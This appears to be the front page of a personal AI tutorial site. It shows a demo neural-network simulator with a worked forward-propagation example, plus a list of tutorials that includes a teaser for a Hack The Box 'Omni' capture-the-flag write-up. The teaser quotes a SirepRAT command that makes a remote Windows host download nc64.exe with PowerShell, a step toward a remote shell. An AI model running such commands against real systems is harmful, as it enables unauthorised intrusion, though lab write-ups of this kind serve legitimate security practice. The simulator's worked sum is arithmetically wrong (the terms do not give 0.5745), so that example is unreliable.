Deep Learning & AI Interactive Suite

Artificial Intelligence & Neural Network Lab

Explore deep learning simulators, CNN kernel visualizers, LLM tokenizers, and backpropagation engines in real time.

🧠 Neural Network Simulator 👁️ CNN Kernel Visualizer 💬 LLM Tokenizer & Attention 📉 Backpropagation Engine
Epoch: 1,420 Loss: 0.0042 Accuracy: 99.8%
Input Layer Hidden Layer 1 Hidden Layer 2 Output Softmax

🎛️ Live Feature Inputs ($X$)

$X_1$ (Temperature Feature): 0.85
$X_2$ (Pressure Feature): 0.42
$X_3$ (Frequency Feature): -0.30

⚡ Forward Propagation Math

$z = \sum_{i=1}^n (w_i x_i) + b$

Active Layer: Input → Hidden 1
$z = (0.85 \times 0.72) + (0.42 \times -0.41) + (-0.30 \times 0.55) + 0.10$
$z = 0.5745 \implies f(z) = \text{ReLU}(0.5745) = 0.5745$

🎯 Softmax Output Predictions

Class 1 (Threat Anomaly): 94.2%
Class 2 (Standard Traffic): 5.8%
Published Tutorials

AI & Data Science Guides by Nagendra Rana

Hackthebox omni Writeup

Hackthebox Omni Writeup

Introduction Steps Involved Port Scan python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c powershell Invoke-Webrequest -OutFile C:\nc64.exe...

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